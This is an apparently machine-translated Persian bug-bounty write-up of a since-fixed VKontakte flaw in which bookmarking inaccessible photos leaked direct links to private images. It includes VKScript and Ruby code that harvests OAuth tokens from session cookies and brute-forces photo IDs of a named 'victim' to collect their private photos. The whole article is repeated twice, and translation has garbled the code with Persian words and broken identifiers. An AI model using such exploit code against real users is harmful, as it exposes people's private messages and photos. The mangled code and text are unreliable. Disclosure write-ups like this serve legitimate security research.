Vk خصوصی. آسیب پذیری VK: دسترسی به پیش نمایش عکس ها از دیالوگ ها و آلبوم های مخفی هر کاربر. نحوه مشاهده عکس ها و آلبوم های خصوصی در VKontakte

tl;dr

یک آسیب‌پذیری در بوکمارک‌های VK کشف شد که به دست آوردن پیوندهای مستقیم به عکس‌های خصوصی از پیام‌های شخصی، آلبوم‌های هر کاربر/گروه را ممکن می‌سازد. اسکریپتی نوشته شد که عکس های کاربر را برای مدت مشخصی مرتب می کرد و سپس از طریق این آسیب پذیری، لینک مستقیم تصاویر را دریافت می کرد. به طور خلاصه، این امکان وجود داشت که تمام عکس های دیروز خود را در 1 دقیقه، تمام عکس های بارگذاری شده هفته گذشته در 7 دقیقه، ماه گذشته در 20 دقیقه، سال گذشته در 2 ساعت دریافت کنید. آسیب پذیری در حال حاضر رفع شده است. مدیریت VKontakte جایزه 10 هزار رای پرداخت کرد.

هنگامی که یک پیوند اضافه می شود، سرور آن را تجزیه می کند، سعی می کند بداند به چه موجودی اشاره می کند و اطلاعات مربوط به این شی را از پایگاه داده بازیابی می کند. به عنوان یک قاعده، هنگام نوشتن این نوع عملکرد با شرایط بسیار، احتمال اینکه توسعه دهنده چیزی را فراموش کند بسیار زیاد است. بنابراین، من توان عبور از آنجا را نداشتم و تصمیم گرفتم چند دقیقه وقت بگذارم تا کمی آزمایش کنم.

در نتیجه موفق شدم چیزی پیدا کنم. هنگام افزودن پیوند به عکس، یادداشت یا ویدیویی که در دسترس نیست، می‌توان اطلاعات خصوصی در مورد آن شی را دریافت کرد. در مورد عکس‌ها و ویدیوها، این یک پیش‌نمایش کوچک (150x150) است که دیدن چیزی در آن بسیار دشوار است، عنوان برای یادداشت‌های خصوصی نمایش داده می‌شود. از طریق روش API fave.getLinksامکان دریافت لینک به تصویر وجود داشت، اما باز هم بسیار کوچک (75 پیکسل و 130 پیکسل). بنابراین اساساً هیچ چیز جدی نیست.

تصمیم گرفتم به نسخه موبایل سایت بروم تا بررسی کنم که آیا همه چیز در آنجا به همان شکلی که در نسخه معمولی نمایش داده می شود یا خیر. با نگاه کردن به کد صفحه، این را دیدم:

آره! در مقدار ویژگی data-src_bigیک لینک مستقیم به تصویر اصلی ذخیره شد!

بنابراین، بدون در نظر گرفتن اینکه کجا آپلود شده است و چه تنظیمات حریم خصوصی دارد، می توان یک پیوند مستقیم به هر تصویر در Vkontakte دریافت کرد. این می تواند تصویری از پیام های خصوصی یا عکسی از آلبوم های خصوصی هر کاربر/گروه باشد.

به نظر می‌رسد که می‌توان روی این توقف کرد و برای توسعه‌دهندگان نوشت، اما من فکر کردم که آیا می‌توان با سوءاستفاده از این آسیب‌پذیری، به همه عکس‌های کاربر (خوب، یا آپلود شده در یک دوره زمانی معین) دسترسی پیدا کرد. مشکل اصلی در اینجا، همانطور که متوجه شدید، این بود که لینک یک عکس خصوصی از گونه همیشه مشخص نیست. عکسXXXXXX_XXXXXXXبرای نشانک گذاری ایده مرتب سازی از طریق شناسه عکس به ذهنم رسید، اما به دلایلی بلافاصله آن را به عنوان دیوانگی رد کردم. روش‌های مرتبط با عکس‌ها را در API بررسی کردم، به نحوه عملکرد برنامه با آلبوم‌ها نگاه کردم، اما نتونستم هیچ اطلاعاتی را پیدا کنم که بتواند به من کمک کند فهرستی با شناسه‌های همه عکس‌های خصوصی کاربر دریافت کنم. من قبلاً می خواستم این ایده را رها کنم، اما با نگاهی دوباره به پیوند همراه با عکس، ناگهان متوجه شدم که ایده خوبی بود.

نحوه کار عکس ها در VK

افسوس، پس از صرف دو ساعت آزمایش، من هنوز این را درک نکردم. در سال 2012، در HighLoad++، اولگ ایلاریونوف چند کلمه در مورد نحوه ذخیره عکس ها، در مورد اشتراک گذاری افقی و انتخاب تصادفی سرور برای بارگذاری گفت، اما این اطلاعات چیزی به من نداد، زیرا هیچ ارتباطی بین شناسه سرور و سرور وجود ندارد. شناسه عکس واضح است که شمارنده جهانی خاصی وجود دارد، اما منطق دیگری در آنجا وجود دارد ... زیرا اگر عدد دوم با استفاده از افزایش خودکار معمول تشکیل می شد، آنگاه مقادیر شناسه های عکس به مقادیر بسیار زیادی می رسیدند. مدت ها پیش (به عنوان مثال، FB در حال حاضر ~ 700 تریلیون است)، اما برای Vkontakte این مقدار فقط 400 میلیون است (اگرچه، با قضاوت بر اساس آمار، روزانهکاربران بیش از 30 میلیون عکس آپلود می کنند). آن ها واضح است که این رقم منحصر به فرد نیست، اما تصادفی نیز نیست. من اسکریپتی نوشتم که عکس‌های کاربران قدیمی را مرور کرد و بر اساس داده‌های دریافتی، نموداری از میزان تغییر این رقم با هر یک تهیه کردم. سال:

مشاهده می شود که مقادیر بسته به عواملی (تعداد سرورها یا منطق جدید؟) پرش می کنند. اما نکته اصلی این است که آنها بسیار کوچک هستند (مخصوصاً برای 2-3 سال گذشته) و محاسبه محدوده id برای دوره زمانی مورد نظر بسیار آسان است. یعنی برای پیدا کردن لینک‌های مستقیم به عکس‌های کاربر، مثلاً برای سال گذشته، باید سعی کنید فقط 30 میلیون (از _320000000 تا _350000000) تنوع لینک مختلف را نشانه گذاری کنید! در زیر یک تکنیک brute-force را توضیح داده‌ام که به من اجازه داد این کار را در عرض چند دقیقه انجام دهم.

مرتب سازی از طریق عکس ها

افزایش سرعت جستجو x25

Var start = parseInt(Args.start); varend = parseInt(Args.end); var viktimaId = Args.id; var link = "http://vk.com/photo" + شناسه قربانی + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
بنابراین، امکان افزایش سرعت brute force تا 3 * 25 نشانک در ثانیه وجود داشت. در طول سال گذشته، عکس‌ها برای مدت طولانی مرتب می‌شدند، اما برای دوره‌های کوتاه این روش مرتب‌سازی قبلاً بسیار خوب بود.

تسریع تکرار x25 * تعداد درخواست های همزمان در ثانیه

برای شروع، لازم بود تعداد مورد نیاز برنامه را پیدا کنید (یا ایجاد کنید). یک اسکریپت نوشته شد که به دنبال برنامه های مستقل در محدوده معینی از شناسه های برنامه می گردد:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = پایان جستجوی def (@range).each do |app_id| answer = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").خواندن برنامه = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
همچنین امکان انتخاب برنامه ها بر اساس تعداد کاربران برای تسریع بیشتر در شمارش بیشتر وجود داشت:

اما من تصمیم گرفتم که با آن کار نکنم.

خوب، برنامه ها پیدا شدند، اکنون آنها باید به داده های کاربر ما اجازه دهند و توکن ها را دریافت کنند. برای مجوز، مجبور شدم از مکانیزم جریان ضمنی استفاده کنم. مجبور شدم URL مجوز را از گفتگوی OAuth تجزیه کنم و رمز را پس از تغییر مسیر بیرون بکشم. برای کار کردن این کلاس به کوکی ها نیاز است. p, l(login.vk.com) و ریمیکس-ساید(vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = پایان def autorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url، @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
چه تعداد برنامه پیدا شد، چه تعداد درخواست موازی. برای موازی کردن کل این موضوع، تصمیم گرفته شد که از سنگ Typhoeus استفاده شود که خود را در کارهای دیگر ثابت کرده است. معلوم شد چنین بیروتفورسر کوچکی است:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "امروز" => 366300000..366500000، "دیروز" => 366050000..366300000، "current_month" => 360.000.000.000. 36000000 0..365000000، "سال_جاری" = > 350000000..366500000، "last_year" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_FERIOD:Th. kensIterator = 0 (@period).step(25) |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+"، "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero؟ پایان hydra.run مگر اینکه hydra.queued_requests.count.zero؟ پایان خصوصی def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
برای تسریع بیشتر نیروی بی رحم، تلاشی برای خلاص شدن از شر یک بدن غیر ضروری در پاسخ صورت گرفت، اما در سرسرور درخواست "Vkontakte" یک خطا را برمی گرداند 501 اجرا نشد.

نسخه نهایی اسکریپت به شکل زیر است:

"nokogiri" به "open-uri" نیاز دارد "typhoeus" به "json" نیاز دارد. apps_finder = StandaloneAppsFinder.new (در محدوده: 4800000..4800500) apps_finder.search # p,l - کوکی‌ها از login.vk.com # remixsid - کوکی‌های vk.com authenticator = Authenticator.new;"(p" =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
پس از انجام برنامه، تمام عکس های کاربر برای یک دوره معین در بوک مارک ها قرار داشتند. تنها باقی مانده است که به نسخه موبایل Vkontakte بروید، کنسول مرورگر را باز کنید، پیوندهای مستقیم را بیرون بکشید و از عکس ها در اندازه اصلی خود لذت ببرید.

نتایج

جدول میانگین زمان لازم برای امتحان شناسه های عکس را در یک دوره معین نشان می دهد. من مطمئن هستم که همه اینها را می توان 10-20 برابر شتاب داد. به عنوان مثال، در یک اسکریپت brute force، یک صف بزرگ از تمام درخواست ها و همگام سازی عادی بین آنها ایجاد کنید، زیرا در اجرای من، یک درخواست با مهلت زمانی کل فرآیند را کند می کند. به هر حال، شما فقط می توانید چند نمونه EC2 بخرید و تمام عکس های هر کاربر را در یک ساعت دریافت کنید. اما من از قبل می خواستم بخوابم.

و به طور کلی، مهم نیست که مهاجم چقدر زمان صرف می کند، 5 ساعت یا کل روز، زیرا به هر طریقی، لینک هایی به تصاویر خصوصی دریافت می کند. توانایی دستیابی به اطلاعات خصوصی در زمان محدود تهدید اصلی ناشی از این آسیب‌پذیری است.

گزارش یک آسیب پذیری

tl;dr

یک آسیب‌پذیری در بوکمارک‌های VK کشف شد که به دست آوردن پیوندهای مستقیم به عکس‌های خصوصی از پیام‌های شخصی، آلبوم‌های هر کاربر/گروه را ممکن می‌سازد. اسکریپتی نوشته شد که عکس های کاربر را برای مدت مشخصی مرتب می کرد و سپس از طریق این آسیب پذیری، لینک مستقیم تصاویر را دریافت می کرد. به طور خلاصه، این امکان وجود داشت که تمام عکس های دیروز خود را در 1 دقیقه، تمام عکس های بارگذاری شده هفته گذشته در 7 دقیقه، ماه گذشته در 20 دقیقه، سال گذشته در 2 ساعت دریافت کنید. آسیب پذیری در حال حاضر رفع شده است. مدیریت VKontakte جایزه 10 هزار رای پرداخت کرد.

هنگامی که یک پیوند اضافه می شود، سرور آن را تجزیه می کند، سعی می کند بداند به چه موجودی اشاره می کند و اطلاعات مربوط به این شی را از پایگاه داده بازیابی می کند. به عنوان یک قاعده، هنگام نوشتن این نوع عملکرد با شرایط بسیار، احتمال اینکه توسعه دهنده چیزی را فراموش کند بسیار زیاد است. بنابراین، من توان عبور از آنجا را نداشتم و تصمیم گرفتم چند دقیقه وقت بگذارم تا کمی آزمایش کنم.

در نتیجه موفق شدم چیزی پیدا کنم. هنگام افزودن پیوند به عکس، یادداشت یا ویدیویی که در دسترس نیست، می‌توان اطلاعات خصوصی در مورد آن شی را دریافت کرد. در مورد عکس‌ها و ویدیوها، این یک پیش‌نمایش کوچک (150x150) است که دیدن چیزی در آن بسیار دشوار است، عنوان برای یادداشت‌های خصوصی نمایش داده می‌شود. از طریق روش API fave.getLinksامکان دریافت لینک به تصویر وجود داشت، اما باز هم بسیار کوچک (75 پیکسل و 130 پیکسل). بنابراین اساساً هیچ چیز جدی نیست.

تصمیم گرفتم به نسخه موبایل سایت بروم تا بررسی کنم که آیا همه چیز در آنجا به همان شکلی که در نسخه معمولی نمایش داده می شود یا خیر. با نگاه کردن به کد صفحه، این را دیدم:

آره! در مقدار ویژگی data-src_bigیک لینک مستقیم به تصویر اصلی ذخیره شد!

بنابراین، بدون در نظر گرفتن اینکه کجا آپلود شده است و چه تنظیمات حریم خصوصی دارد، می توان یک پیوند مستقیم به هر تصویر در Vkontakte دریافت کرد. این می تواند تصویری از پیام های خصوصی یا عکسی از آلبوم های خصوصی هر کاربر/گروه باشد.

به نظر می‌رسد که می‌توان روی این توقف کرد و برای توسعه‌دهندگان نوشت، اما من فکر کردم که آیا می‌توان با سوءاستفاده از این آسیب‌پذیری، به همه عکس‌های کاربر (خوب، یا آپلود شده در یک دوره زمانی معین) دسترسی پیدا کرد. مشکل اصلی در اینجا، همانطور که متوجه شدید، این بود که لینک یک عکس خصوصی از گونه همیشه مشخص نیست. عکسXXXXXX_XXXXXXXبرای نشانک گذاری ایده مرتب سازی از طریق شناسه عکس به ذهنم رسید، اما به دلایلی بلافاصله آن را به عنوان دیوانگی رد کردم. روش‌های مرتبط با عکس‌ها را در API بررسی کردم، به نحوه عملکرد برنامه با آلبوم‌ها نگاه کردم، اما نتونستم هیچ اطلاعاتی را پیدا کنم که بتواند به من کمک کند فهرستی با شناسه‌های همه عکس‌های خصوصی کاربر دریافت کنم. من قبلاً می خواستم این ایده را رها کنم، اما با نگاهی دوباره به پیوند همراه با عکس، ناگهان متوجه شدم که ایده خوبی بود.

نحوه کار عکس ها در VK

افسوس، پس از صرف دو ساعت آزمایش، من هنوز این را درک نکردم. در سال 2012، در HighLoad++، اولگ ایلاریونوف چند کلمه در مورد نحوه ذخیره عکس ها، در مورد اشتراک گذاری افقی و انتخاب تصادفی سرور برای بارگذاری گفت، اما این اطلاعات چیزی به من نداد، زیرا هیچ ارتباطی بین شناسه سرور و سرور وجود ندارد. شناسه عکس واضح است که شمارنده جهانی خاصی وجود دارد، اما منطق دیگری در آنجا وجود دارد ... زیرا اگر عدد دوم با استفاده از افزایش خودکار معمول تشکیل می شد، آنگاه مقادیر شناسه های عکس به مقادیر بسیار زیادی می رسیدند. مدت ها پیش (به عنوان مثال، FB در حال حاضر ~ 700 تریلیون است)، اما برای Vkontakte این مقدار فقط 400 میلیون است (اگرچه، با قضاوت بر اساس آمار، روزانهکاربران بیش از 30 میلیون عکس آپلود می کنند). آن ها واضح است که این رقم منحصر به فرد نیست، اما تصادفی نیز نیست. من اسکریپتی نوشتم که عکس‌های کاربران قدیمی را مرور کرد و بر اساس داده‌های دریافتی، نموداری از میزان تغییر این رقم با هر یک تهیه کردم. سال:

مشاهده می شود که مقادیر بسته به عواملی (تعداد سرورها یا منطق جدید؟) پرش می کنند. اما نکته اصلی این است که آنها بسیار کوچک هستند (مخصوصاً برای 2-3 سال گذشته) و محاسبه محدوده id برای دوره زمانی مورد نظر بسیار آسان است. یعنی برای پیدا کردن لینک‌های مستقیم به عکس‌های کاربر، مثلاً برای سال گذشته، باید سعی کنید فقط 30 میلیون (از _320000000 تا _350000000) تنوع لینک مختلف را نشانه گذاری کنید! در زیر یک تکنیک brute-force را توضیح داده‌ام که به من اجازه داد این کار را در عرض چند دقیقه انجام دهم.

مرتب سازی از طریق عکس ها

افزایش سرعت جستجو x25

Var start = parseInt(Args.start); varend = parseInt(Args.end); var viktimaId = Args.id; var link = "http://vk.com/photo" + شناسه قربانی + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
بنابراین، امکان افزایش سرعت brute force تا 3 * 25 نشانک در ثانیه وجود داشت. در طول سال گذشته، عکس‌ها برای مدت طولانی مرتب می‌شدند، اما برای دوره‌های کوتاه این روش مرتب‌سازی قبلاً بسیار خوب بود.

تسریع تکرار x25 * تعداد درخواست های همزمان در ثانیه

برای شروع، لازم بود تعداد مورد نیاز برنامه را پیدا کنید (یا ایجاد کنید). یک اسکریپت نوشته شد که به دنبال برنامه های مستقل در محدوده معینی از شناسه های برنامه می گردد:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = پایان جستجوی def (@range).each do |app_id| answer = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").خواندن برنامه = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
همچنین امکان انتخاب برنامه ها بر اساس تعداد کاربران برای تسریع بیشتر در شمارش بیشتر وجود داشت:

اما من تصمیم گرفتم که با آن کار نکنم.

خوب، برنامه ها پیدا شدند، اکنون آنها باید به داده های کاربر ما اجازه دهند و توکن ها را دریافت کنند. برای مجوز، مجبور شدم از مکانیزم جریان ضمنی استفاده کنم. مجبور شدم URL مجوز را از گفتگوی OAuth تجزیه کنم و رمز را پس از تغییر مسیر بیرون بکشم. برای کار کردن این کلاس به کوکی ها نیاز است. p, l(login.vk.com) و ریمیکس-ساید(vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = پایان def autorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url، @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
چه تعداد برنامه پیدا شد، چه تعداد درخواست موازی. برای موازی کردن کل این موضوع، تصمیم گرفته شد که از سنگ Typhoeus استفاده شود که خود را در کارهای دیگر ثابت کرده است. معلوم شد چنین بیروتفورسر کوچکی است:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "امروز" => 366300000..366500000، "دیروز" => 366050000..366300000، "current_month" => 360.000.000.000. 36000000 0..365000000، "سال_جاری" = > 350000000..366500000، "last_year" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_FERIOD:Th. kensIterator = 0 (@period).step(25) |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+"، "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero؟ پایان hydra.run مگر اینکه hydra.queued_requests.count.zero؟ پایان خصوصی def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
برای تسریع بیشتر نیروی بی رحم، تلاشی برای خلاص شدن از شر یک بدن غیر ضروری در پاسخ صورت گرفت، اما در سرسرور درخواست "Vkontakte" یک خطا را برمی گرداند 501 اجرا نشد.

نسخه نهایی اسکریپت به شکل زیر است:

"nokogiri" به "open-uri" نیاز دارد "typhoeus" به "json" نیاز دارد. apps_finder = StandaloneAppsFinder.new (در محدوده: 4800000..4800500) apps_finder.search # p,l - کوکی‌ها از login.vk.com # remixsid - کوکی‌های vk.com authenticator = Authenticator.new;"(p" =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
پس از انجام برنامه، تمام عکس های کاربر برای یک دوره معین در بوک مارک ها قرار داشتند. تنها باقی مانده است که به نسخه موبایل Vkontakte بروید، کنسول مرورگر را باز کنید، پیوندهای مستقیم را بیرون بکشید و از عکس ها در اندازه اصلی خود لذت ببرید.

نتایج

جدول میانگین زمان لازم برای امتحان شناسه های عکس را در یک دوره معین نشان می دهد. من مطمئن هستم که همه اینها را می توان 10-20 برابر شتاب داد. به عنوان مثال، در یک اسکریپت brute force، یک صف بزرگ از تمام درخواست ها و همگام سازی عادی بین آنها ایجاد کنید، زیرا در اجرای من، یک درخواست با مهلت زمانی کل فرآیند را کند می کند. به هر حال، شما فقط می توانید چند نمونه EC2 بخرید و تمام عکس های هر کاربر را در یک ساعت دریافت کنید. اما من از قبل می خواستم بخوابم.

و به طور کلی، مهم نیست که مهاجم چقدر زمان صرف می کند، 5 ساعت یا کل روز، زیرا به هر طریقی، لینک هایی به تصاویر خصوصی دریافت می کند. توانایی دستیابی به اطلاعات خصوصی در زمان محدود تهدید اصلی ناشی از این آسیب‌پذیری است.

گزارش یک آسیب پذیری